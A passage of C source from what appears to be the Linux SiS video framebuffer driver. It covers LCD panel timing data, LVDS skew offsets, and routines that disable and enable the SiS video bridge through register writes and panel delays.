(LCDPtr+ResIndex)->RVBHCFACT; SiS_Pr->SiS_VGAHT = (LCDPtr+ResIndex)->VGAHT; SiS_Pr->SiS_VGAVT = (LCDPtr+ResIndex)->VGAVT; SiS_Pr->SiS_HT = (LCDPtr+ResIndex)->LCDHT; SiS_Pr->SiS_VT = (LCDPtr+ResIndex)->LCDVT; } tempax = SiS_Pr->PanelXRes; tempbx = SiS_Pr->PanelYRes; switch(SiS_Pr->SiS_LCDResInfo) { case Panel_1024x768: if(SiS_Pr->SiS_SetFlag & LCDVESATiming) { if(SiS_Pr->ChipType < SIS_315H) { if (SiS_Pr->SiS_VGAVDE == 350) tempbx = 560; else if(SiS_Pr->SiS_VGAVDE == 400) tempbx = 640; } } else { if (SiS_Pr->SiS_VGAVDE == 357) tempbx = 527; else if(SiS_Pr->SiS_VGAVDE == 420) tempbx = 620; else if(SiS_Pr->SiS_VGAVDE == 525) tempbx = 775; else if(SiS_Pr->SiS_VGAVDE == 600) tempbx = 775; else if(SiS_Pr->SiS_VGAVDE == 350) tempbx = 560; else if(SiS_Pr->SiS_VGAVDE == 400) tempbx = 640; } break; case Panel_1280x960: if (SiS_Pr->SiS_VGAVDE == 350) tempbx = 700; else if(SiS_Pr->SiS_VGAVDE == 400) tempbx = 800; else if(SiS_Pr->SiS_VGAVDE == 1024) tempbx = 960; break; case Panel_1280x1024: if (SiS_Pr->SiS_VGAVDE == 360) tempbx = 768; else if(SiS_Pr->SiS_VGAVDE == 375) tempbx = 800; else if(SiS_Pr->SiS_VGAVDE == 405) tempbx = 864; break; case Panel_1600x1200: if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) { if (SiS_Pr->SiS_VGAVDE == 350) tempbx = 875; else if(SiS_Pr->SiS_VGAVDE == 400) tempbx = 1000; } break; } if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { tempax = SiS_Pr->SiS_VGAHDE; tempbx = SiS_Pr->SiS_VGAVDE; } SiS_Pr->SiS_HDE = tempax; SiS_Pr->SiS_VDE = tempbx; } } } static void SiS_GetCRT2Data(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { SiS_GetCRT2DataLVDS(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } else { if((SiS_Pr->SiS_VBType & VB_NoLCD) && (SiS_Pr->SiS_VBInfo & SetCRT2ToLCD)) { /* Need LVDS Data for LCD on 301B-DH */ SiS_GetCRT2DataLVDS(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } else { SiS_GetCRT2Data301(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } } } else { SiS_GetCRT2DataLVDS(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } } /*********************************************/ /* GET LVDS DES (SKEW) DATA */ /*********************************************/ static const struct SiS_LVDSDes * SiS_GetLVDSDesPtr(struct SiS_Private *SiS_Pr) { const struct SiS_LVDSDes *PanelDesPtr = NULL; #ifdef CONFIG_FB_SIS_300 if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { if(SiS_Pr->ChipType < SIS_315H) { if(SiS_Pr->SiS_LCDTypeInfo == 4) { if(SiS_Pr->SiS_CustomT == CUT_BARCO1366) { PanelDesPtr = SiS_Pr->SiS_PanelType04_1a; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { PanelDesPtr = SiS_Pr->SiS_PanelType04_2a; } } else if(SiS_Pr->SiS_CustomT == CUT_BARCO1024) { PanelDesPtr = SiS_Pr->SiS_PanelType04_1b; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { PanelDesPtr = SiS_Pr->SiS_PanelType04_2b; } } } } } #endif return PanelDesPtr; } static void SiS_GetLVDSDesData(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short modeflag, ResIndex; const struct SiS_LVDSDes *PanelDesPtr = NULL; SiS_Pr->SiS_LCDHDES = 0; SiS_Pr->SiS_LCDVDES = 0; /* Some special cases */ if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { /* Trumpion */ if(SiS_Pr->SiS_IF_DEF_TRUMPION) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if(SiS_Pr->SiS_VGAVDE == SiS_Pr->PanelYRes) { SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 1; } } return; } /* 640x480 on LVDS */ if(SiS_Pr->ChipType < SIS_315H) { if(SiS_Pr->SiS_LCDResInfo == Panel_640x480 && SiS_Pr->SiS_LCDTypeInfo == 3) { SiS_Pr->SiS_LCDHDES = 8; if (SiS_Pr->SiS_VGAVDE >= 480) SiS_Pr->SiS_LCDVDES = 512; else if(SiS_Pr->SiS_VGAVDE >= 400) SiS_Pr->SiS_LCDVDES = 436; else if(SiS_Pr->SiS_VGAVDE >= 350) SiS_Pr->SiS_LCDVDES = 440; return; } } } /* LCD */ if( (SiS_Pr->UseCustomMode) || (SiS_Pr->SiS_LCDResInfo == Panel_Custom) || (SiS_Pr->SiS_CustomT == CUT_PANEL848) || (SiS_Pr->SiS_CustomT == CUT_PANEL856) || (SiS_Pr->SiS_LCDInfo & LCDPass11) ) { return; } if(ModeNo <= 0x13) ResIndex = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC; else ResIndex = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRT2CRTC; if((SiS_Pr->SiS_VBType & VB_SIS30xBLV) && (SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA)) { #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { /* non-pass 1:1 only, see above */ if(SiS_Pr->SiS_VGAHDE != SiS_Pr->PanelXRes) { SiS_Pr->SiS_LCDHDES = SiS_Pr->SiS_HT - ((SiS_Pr->PanelXRes - SiS_Pr->SiS_VGAHDE) / 2); } if(SiS_Pr->SiS_VGAVDE != SiS_Pr->PanelYRes) { SiS_Pr->SiS_LCDVDES = SiS_Pr->SiS_VT - ((SiS_Pr->PanelYRes - SiS_Pr->SiS_VGAVDE) / 2); } } if(SiS_Pr->SiS_VGAVDE == SiS_Pr->PanelYRes) { switch(SiS_Pr->SiS_CustomT) { case CUT_UNIWILL1024: case CUT_UNIWILL10242: case CUT_CLEVO1400: if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 1; } break; } switch(SiS_Pr->SiS_LCDResInfo) { case Panel_1280x1024: if(SiS_Pr->SiS_CustomT != CUT_COMPAQ1280) { SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 1; } break; case Panel_1280x800: /* Verified for Averatec 6240 */ case Panel_1280x800_2: /* Verified for Asus A4L */ case Panel_1280x854: /* Not verified yet FIXME */ SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 1; break; } } #endif } else { if((SiS_Pr->SiS_IF_DEF_CH70xx != 0) && (SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) { if((SiS_Pr->SiS_TVMode & TVSetPAL) && (!(SiS_Pr->SiS_TVMode & TVSetPALM))) { if(ResIndex <= 3) SiS_Pr->SiS_LCDHDES = 256; } } else if((PanelDesPtr = SiS_GetLVDSDesPtr(SiS_Pr))) { SiS_Pr->SiS_LCDHDES = (PanelDesPtr+ResIndex)->LCDHDES; SiS_Pr->SiS_LCDVDES = (PanelDesPtr+ResIndex)->LCDVDES; } else if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { if(SiS_Pr->SiS_VGAHDE != SiS_Pr->PanelXRes) { SiS_Pr->SiS_LCDHDES = SiS_Pr->SiS_HT - ((SiS_Pr->PanelXRes - SiS_Pr->SiS_VGAHDE) / 2); } if(SiS_Pr->SiS_VGAVDE != SiS_Pr->PanelYRes) { SiS_Pr->SiS_LCDVDES = SiS_Pr->SiS_VT - ((SiS_Pr->PanelYRes - SiS_Pr->SiS_VGAVDE) / 2); } else { if(SiS_Pr->ChipType < SIS_315H) { SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 1; } else { switch(SiS_Pr->SiS_LCDResInfo) { case Panel_800x600: case Panel_1024x768: case Panel_1280x1024: SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT; break; case Panel_1400x1050: SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 1; break; } } } } else { if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 switch(SiS_Pr->SiS_LCDResInfo) { case Panel_800x600: if(SiS_Pr->SiS_VGAVDE == SiS_Pr->PanelYRes) { SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 1; } else { SiS_Pr->SiS_LCDHDES = SiS_Pr->PanelHT + 3; SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT; if(SiS_Pr->SiS_VGAVDE == 400) SiS_Pr->SiS_LCDVDES -= 2; else SiS_Pr->SiS_LCDVDES -= 4; } break; case Panel_1024x768: if(SiS_Pr->SiS_VGAVDE == SiS_Pr->PanelYRes) { SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 1; } else { SiS_Pr->SiS_LCDHDES = SiS_Pr->PanelHT - 1; if(SiS_Pr->SiS_VGAVDE <= 400) SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 8; if(SiS_Pr->SiS_VGAVDE <= 350) SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 12; } break; case Panel_1024x600: default: if( (SiS_Pr->SiS_VGAHDE == SiS_Pr->PanelXRes) && (SiS_Pr->SiS_VGAVDE == SiS_Pr->PanelYRes) ) { SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 1; } else { SiS_Pr->SiS_LCDHDES = SiS_Pr->PanelHT - 1; } break; } switch(SiS_Pr->SiS_LCDTypeInfo) { case 1: SiS_Pr->SiS_LCDHDES = SiS_Pr->SiS_LCDVDES = 0; break; case 3: /* 640x480 only? */ SiS_Pr->SiS_LCDHDES = 8; if (SiS_Pr->SiS_VGAVDE >= 480) SiS_Pr->SiS_LCDVDES = 512; else if(SiS_Pr->SiS_VGAVDE >= 400) SiS_Pr->SiS_LCDVDES = 436; else if(SiS_Pr->SiS_VGAVDE >= 350) SiS_Pr->SiS_LCDVDES = 440; break; } #endif } else { #ifdef CONFIG_FB_SIS_315 switch(SiS_Pr->SiS_LCDResInfo) { case Panel_1024x768: case Panel_1280x1024: if(SiS_Pr->SiS_VGAVDE == SiS_Pr->PanelYRes) { SiS_Pr->SiS_LCDVDES = SiS_Pr->PanelVT - 1; } break; case Panel_320x240_1: case Panel_320x240_2: case Panel_320x240_3: SiS_Pr->SiS_LCDVDES = 524; break; } #endif } } if((ModeNo <= 0x13) && (SiS_Pr->SiS_LCDInfo & DontExpandLCD)) { modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; if((SiS_Pr->SiS_VBType & VB_SIS30xBLV) && (SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA)) { if(!(modeflag & HalfDCLK)) SiS_Pr->SiS_LCDHDES = 632; } else if(!(SiS_Pr->SiS_SetFlag & SetDOSMode)) { if(SiS_Pr->SiS_LCDResInfo != Panel_1280x1024) { if(SiS_Pr->SiS_LCDResInfo >= Panel_1024x768) { if(SiS_Pr->ChipType < SIS_315H) { if(!(modeflag & HalfDCLK)) SiS_Pr->SiS_LCDHDES = 320; } else { #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) SiS_Pr->SiS_LCDHDES = 480; if(SiS_Pr->SiS_LCDResInfo == Panel_1400x1050) SiS_Pr->SiS_LCDHDES = 804; if(SiS_Pr->SiS_LCDResInfo == Panel_1600x1200) SiS_Pr->SiS_LCDHDES = 704; if(!(modeflag & HalfDCLK)) { SiS_Pr->SiS_LCDHDES = 320; if(SiS_Pr->SiS_LCDResInfo == Panel_1400x1050) SiS_Pr->SiS_LCDHDES = 632; if(SiS_Pr->SiS_LCDResInfo == Panel_1600x1200) SiS_Pr->SiS_LCDHDES = 542; } #endif } } } } } } } /*********************************************/ /* DISABLE VIDEO BRIDGE */ /*********************************************/ #ifdef CONFIG_FB_SIS_315 static int SiS_HandlePWD(struct SiS_Private *SiS_Pr) { int ret = 0; #ifdef SET_PWD unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short romptr = GetLCDStructPtr661_2(SiS_Pr); unsigned char drivermode = SiS_GetReg(SiS_Pr->SiS_P3d4,0x31) & 0x40; unsigned short temp; if( (SiS_Pr->SiS_VBType & VB_SISPWD) && (romptr) && (SiS_Pr->SiS_PWDOffset) ) { SiS_SetReg(SiS_Pr->SiS_Part4Port,0x2b,ROMAddr[romptr + SiS_Pr->SiS_PWDOffset + 0]); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x2c,ROMAddr[romptr + SiS_Pr->SiS_PWDOffset + 1]); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x2d,ROMAddr[romptr + SiS_Pr->SiS_PWDOffset + 2]); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x2e,ROMAddr[romptr + SiS_Pr->SiS_PWDOffset + 3]); SiS_SetReg(SiS_Pr->SiS_Part4Port,0x2f,ROMAddr[romptr + SiS_Pr->SiS_PWDOffset + 4]); temp = 0x00; if((ROMAddr[romptr + 2] & (0x06 << 1)) && !drivermode) { temp = 0x80; ret = 1; } SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x27,0x7f,temp); } #endif return ret; } #endif /* NEVER use any variables (VBInfo), this will be called * from outside the context of modeswitch! * MUST call getVBType before calling this */ void SiS_DisableBridge(struct SiS_Private *SiS_Pr) { #ifdef CONFIG_FB_SIS_315 unsigned short tempah, pushax=0, modenum; #endif unsigned short temp=0; if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { /* ===== For 30xB/C/LV ===== */ if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 /* 300 series */ if(!(SiS_CR36BIOSWord23b(SiS_Pr))) { if(SiS_Pr->SiS_VBType & VB_SISLVDS) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x26,0xFE); } else { SiS_SetRegSR11ANDOR(SiS_Pr,0xF7,0x08); } SiS_PanelDelay(SiS_Pr, 3); } if(SiS_Is301B(SiS_Pr)) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x1f,0x3f); SiS_ShortDelay(SiS_Pr,1); } SiS_SetRegAND(SiS_Pr->SiS_Part2Port,0x00,0xDF); SiS_DisplayOff(SiS_Pr); SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x32,0xDF); SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x1E,0xDF); SiS_UnLockCRT2(SiS_Pr); if(!(SiS_Pr->SiS_VBType & VB_SISLVDS)) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x01,0x80); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x02,0x40); } if( (!(SiS_CRT2IsLCD(SiS_Pr))) || (!(SiS_CR36BIOSWord23d(SiS_Pr))) ) { SiS_PanelDelay(SiS_Pr, 2); if(SiS_Pr->SiS_VBType & VB_SISLVDS) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x26,0xFD); } else { SiS_SetRegSR11ANDOR(SiS_Pr,0xFB,0x04); } } #endif /* CONFIG_FB_SIS_300 */ } else { #ifdef CONFIG_FB_SIS_315 /* 315 series */ int didpwd = 0; bool custom1 = (SiS_Pr->SiS_CustomT == CUT_COMPAQ1280) || (SiS_Pr->SiS_CustomT == CUT_CLEVO1400); modenum = SiS_GetReg(SiS_Pr->SiS_P3d4,0x34) & 0x7f; if(SiS_Pr->SiS_VBType & VB_SISLVDS) { #ifdef SET_EMI if(SiS_Pr->SiS_VBType & VB_SISEMI) { if(SiS_Pr->SiS_CustomT != CUT_CLEVO1400) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x30,0x0c); } } #endif didpwd = SiS_HandlePWD(SiS_Pr); if( (modenum <= 0x13) || (SiS_IsVAMode(SiS_Pr)) || (!(SiS_IsDualEdge(SiS_Pr))) ) { if(!didpwd) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x26,0xfe); if(custom1) SiS_PanelDelay(SiS_Pr, 3); } else { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x26,0xfc); } } if(!custom1) { SiS_DDC2Delay(SiS_Pr,0xff00); SiS_DDC2Delay(SiS_Pr,0xe000); SiS_SetRegByte(SiS_Pr->SiS_P3c6,0x00); pushax = SiS_GetReg(SiS_Pr->SiS_P3c4,0x06); if(IS_SIS740) { SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x06,0xE3); } SiS_PanelDelay(SiS_Pr, 3); } } if(!(SiS_IsNotM650orLater(SiS_Pr))) { /* if(SiS_Pr->ChipType < SIS_340) {*/ tempah = 0xef; if(SiS_IsVAMode(SiS_Pr)) tempah = 0xf7; SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x4c,tempah); /*}*/ } if(SiS_Pr->SiS_VBType & VB_SISLVDS) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x1F,~0x10); } tempah = 0x3f; if(SiS_IsDualEdge(SiS_Pr)) { tempah = 0x7f; if(!(SiS_IsVAMode(SiS_Pr))) tempah = 0xbf; } SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x1F,tempah); if((SiS_IsVAMode(SiS_Pr)) || ((SiS_Pr->SiS_VBType & VB_SISLVDS) && (modenum <= 0x13))) { SiS_DisplayOff(SiS_Pr); if(SiS_Pr->SiS_VBType & VB_SISLVDS) { SiS_PanelDelay(SiS_Pr, 2); } SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x32,0xDF); SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x1E,0xDF); } if((!(SiS_IsVAMode(SiS_Pr))) || ((SiS_Pr->SiS_VBType & VB_SISLVDS) && (modenum <= 0x13))) { if(!(SiS_IsDualEdge(SiS_Pr))) { SiS_SetRegAND(SiS_Pr->SiS_Part2Port,0x00,0xdf); SiS_DisplayOff(SiS_Pr); } SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x00,0x80); if(SiS_Pr->SiS_VBType & VB_SISLVDS) { SiS_PanelDelay(SiS_Pr, 2); } SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x32,0xDF); temp = SiS_GetReg(SiS_Pr->SiS_Part1Port,0x00); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x00,0x10); SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x1E,0xDF); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x00,temp); } if(SiS_IsNotM650orLater(SiS_Pr)) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x2e,0x7f); } if(SiS_Pr->SiS_VBType & VB_SISLVDS) { if( (!(SiS_IsVAMode(SiS_Pr))) && (!(SiS_CRT2IsLCD(SiS_Pr))) && (!(SiS_IsDualEdge(SiS_Pr))) ) { if(custom1) SiS_PanelDelay(SiS_Pr, 2); if(!didpwd) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x26,0xFD); } if(custom1) SiS_PanelDelay(SiS_Pr, 4); } if(!custom1) { SiS_SetReg(SiS_Pr->SiS_P3c4,0x06,pushax); if(SiS_Pr->SiS_VBType & VB_SISEMI) { if(SiS_IsVAorLCD(SiS_Pr)) { SiS_PanelDelayLoop(SiS_Pr, 3, 20); } } } } #endif /* CONFIG_FB_SIS_315 */ } } else { /* ============ For 301 ================ */ if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 if(!(SiS_CR36BIOSWord23b(SiS_Pr))) { SiS_SetRegSR11ANDOR(SiS_Pr,0xF7,0x08); SiS_PanelDelay(SiS_Pr, 3); } #endif } SiS_SetRegAND(SiS_Pr->SiS_Part2Port,0x00,0xDF); /* disable VB */ SiS_DisplayOff(SiS_Pr); if(SiS_Pr->ChipType >= SIS_315H) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x00,0x80); } SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x32,0xDF); /* disable lock mode */ if(SiS_Pr->ChipType >= SIS_315H) { temp = SiS_GetReg(SiS_Pr->SiS_Part1Port,0x00); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x00,0x10); SiS_SetRegOR(SiS_Pr->SiS_P3c4,0x1E,0x20); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x00,temp); } else { #ifdef CONFIG_FB_SIS_300 SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x1E,0xDF); /* disable CRT2 */ if( (!(SiS_CRT2IsLCD(SiS_Pr))) || (!(SiS_CR36BIOSWord23d(SiS_Pr))) ) { SiS_PanelDelay(SiS_Pr, 2); SiS_SetRegSR11ANDOR(SiS_Pr,0xFB,0x04); } #endif } } } else { /* ============ For LVDS =============*/ if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 /* 300 series */ if(SiS_Pr->SiS_IF_DEF_CH70xx == 1) { SiS_SetCH700x(SiS_Pr,0x0E,0x09); } if(SiS_Pr->ChipType == SIS_730) { if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x11) & 0x08)) { SiS_WaitVBRetrace(SiS_Pr); } if(!(SiS_CR36BIOSWord23b(SiS_Pr))) { SiS_SetRegSR11ANDOR(SiS_Pr,0xF7,0x08); SiS_PanelDelay(SiS_Pr, 3); } } else { if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x11) & 0x08)) { if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x13) & 0x40)) { if(!(SiS_CR36BIOSWord23b(SiS_Pr))) { SiS_WaitVBRetrace(SiS_Pr); if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x06) & 0x1c)) { SiS_DisplayOff(SiS_Pr); } SiS_SetRegSR11ANDOR(SiS_Pr,0xF7,0x08); SiS_PanelDelay(SiS_Pr, 3); } } } } SiS_DisplayOff(SiS_Pr); SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x32,0xDF); SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x1E,0xDF); SiS_UnLockCRT2(SiS_Pr); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x01,0x80); SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x02,0x40); if( (!(SiS_CRT2IsLCD(SiS_Pr))) || (!(SiS_CR36BIOSWord23d(SiS_Pr))) ) { SiS_PanelDelay(SiS_Pr, 2); SiS_SetRegSR11ANDOR(SiS_Pr,0xFB,0x04); } #endif /* CONFIG_FB_SIS_300 */ } else { #ifdef CONFIG_FB_SIS_315 /* 315 series */ if(!(SiS_IsNotM650orLater(SiS_Pr))) { /*if(SiS_Pr->ChipType < SIS_340) { */ /* XGI needs this */ SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x4c,~0x18); /* } */ } if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if(SiS_Pr->ChipType == SIS_740) { temp = SiS_GetCH701x(SiS_Pr,0x61); if(temp < 1) { SiS_SetCH701x(SiS_Pr,0x76,0xac); SiS_SetCH701x(SiS_Pr,0x66,0x00); } if( (!(SiS_IsDualEdge(SiS_Pr))) || (SiS_IsTVOrYPbPrOrScart(SiS_Pr)) ) { SiS_SetCH701x(SiS_Pr,0x49,0x3e); } } if( (!(SiS_IsDualEdge(SiS_Pr))) || (SiS_IsVAMode(SiS_Pr)) ) { SiS_Chrontel701xBLOff(SiS_Pr); SiS_Chrontel701xOff(SiS_Pr); } if(SiS_Pr->ChipType != SIS_740) { if( (!(SiS_IsDualEdge(SiS_Pr))) || (SiS_IsTVOrYPbPrOrScart(SiS_Pr)) ) { SiS_SetCH701x(SiS_Pr,0x49,0x01); } } } if(SiS_Pr->SiS_IF_DEF_CH70xx == 0) { SiS_SetRegSR11ANDOR(SiS_Pr,0xF7,0x08); SiS_PanelDelay(SiS_Pr, 3); } if( (SiS_Pr->SiS_IF_DEF_CH70xx == 0) || (!(SiS_IsDualEdge(SiS_Pr))) || (!(SiS_IsTVOrYPbPrOrScart(SiS_Pr))) ) { SiS_DisplayOff(SiS_Pr); } if( (SiS_Pr->SiS_IF_DEF_CH70xx == 0) || (!(SiS_IsDualEdge(SiS_Pr))) || (!(SiS_IsVAMode(SiS_Pr))) ) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x00,0x80); } if(SiS_Pr->ChipType == SIS_740) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x2e,0x7f); } SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x32,0xDF); if( (SiS_Pr->SiS_IF_DEF_CH70xx == 0) || (!(SiS_IsDualEdge(SiS_Pr))) || (!(SiS_IsVAMode(SiS_Pr))) ) { SiS_SetRegAND(SiS_Pr->SiS_P3c4,0x1E,0xDF); } if(SiS_Pr->SiS_IF_DEF_CH70xx == 0) { if(SiS_CRT2IsLCD(SiS_Pr)) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x1e,0xdf); if(SiS_Pr->ChipType == SIS_550) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x1e,0xbf); SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x1e,0xef); } } } else { if(SiS_Pr->ChipType == SIS_740) { if(SiS_IsLCDOrLCDA(SiS_Pr)) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x1e,0xdf); } } else if(SiS_IsVAMode(SiS_Pr)) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x1e,0xdf); } } if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if(SiS_IsDualEdge(SiS_Pr)) { /* SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x13,0xff); */ } else { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x13,0xfb); } } SiS_UnLockCRT2(SiS_Pr); if(SiS_Pr->ChipType == SIS_550) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x01,0x80); /* DirectDVD PAL?*/ SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x02,0x40); /* VB clock / 4 ? */ } else if( (SiS_Pr->SiS_IF_DEF_CH70xx == 0) || (!(SiS_IsDualEdge(SiS_Pr))) || (!(SiS_IsVAMode(SiS_Pr))) ) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x2e,0xf7); } if(SiS_Pr->SiS_IF_DEF_CH70xx == 0) { if(SiS_CRT2IsLCD(SiS_Pr)) { if(!(SiS_WeHaveBacklightCtrl(SiS_Pr))) { SiS_PanelDelay(SiS_Pr, 2); SiS_SetRegSR11ANDOR(SiS_Pr,0xFB,0x04); } } } #endif /* CONFIG_FB_SIS_315 */ } /* 315 series */ } /* LVDS */ } /*********************************************/ /* ENABLE VIDEO BRIDGE */ /*********************************************/ /* NEVER use any variables (VBInfo), this will be called * from outside the context of a mode switch! * MUST call getVBType before calling this */ static void SiS_EnableBridge(struct SiS_Private *SiS_Pr) { unsigned short temp=0, tempah; #ifdef CONFIG_FB_SIS_315 unsigned short temp1, pushax=0; bool delaylong = false; #endif if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { /* ====== For 301B et al ====== */ if(SiS_Pr->ChipType < SIS_315H) { #ifdef CONFIG_FB_SIS_300 /* 300 series */ if(SiS_CRT2IsLCD(SiS_Pr)) { if(SiS_Pr->SiS_VBType & VB_SISLVDS) { SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x26,0x02); } else if(SiS_Pr->SiS_VBType & VB_NoLCD) { SiS_SetRegSR11ANDOR(SiS_Pr,0xFB,0x00); } if(SiS_Pr->SiS_VBType & (VB_SISLVDS | VB_NoLCD)) { if(!(SiS_CR36BIOSWord23d(SiS_Pr))) { SiS_PanelDelay(SiS_Pr, 0); } } } if((SiS_Pr->SiS_VBType & VB_NoLCD) && (SiS_CRT2IsLCD(SiS_Pr))) { SiS_SetRegOR(SiS_Pr->SiS_P3c4,0x1E,0x20); /* Enable CRT2 */ SiS_DisplayOn(SiS_Pr); SiS_UnLockCRT2(SiS_Pr); SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x02,0xBF); if(SiS_BridgeInSlavemode(SiS_Pr)) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x01,0x1F); } else { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x01,0x1F,0x40); } if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x13) & 0x40)) { if(!(SiS_GetReg(SiS_Pr->SiS_P3c4,0x16) & 0x10)) { if(!(SiS_CR36BIOSWord23b(SiS_Pr))) { SiS_PanelDelay(SiS_Pr, 1); } SiS_WaitVBRetrace(SiS_Pr); SiS_SetRegSR11ANDOR(SiS_Pr,0xF7,0x00); } } } else { temp = SiS_GetReg(SiS_Pr->SiS_P3c4,0x32) & 0xDF; /* lock mode */ if(SiS_BridgeInSlavemode(SiS_Pr)) { tempah = SiS_GetReg(SiS_Pr->SiS_P3d4,0x30); if(!(tempah & SetCRT2ToRAMDAC)) temp |= 0x20; } SiS_SetReg(SiS_Pr->SiS_P3c4,0x32,temp); SiS_SetRegOR(SiS_Pr->SiS_P3c4,0x1E,0x20); SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x00,0x1F,0x20); /* enable VB processor */ SiS_SetRegOR(SiS_Pr->SiS_Part4Port,0x1F,0xC0); 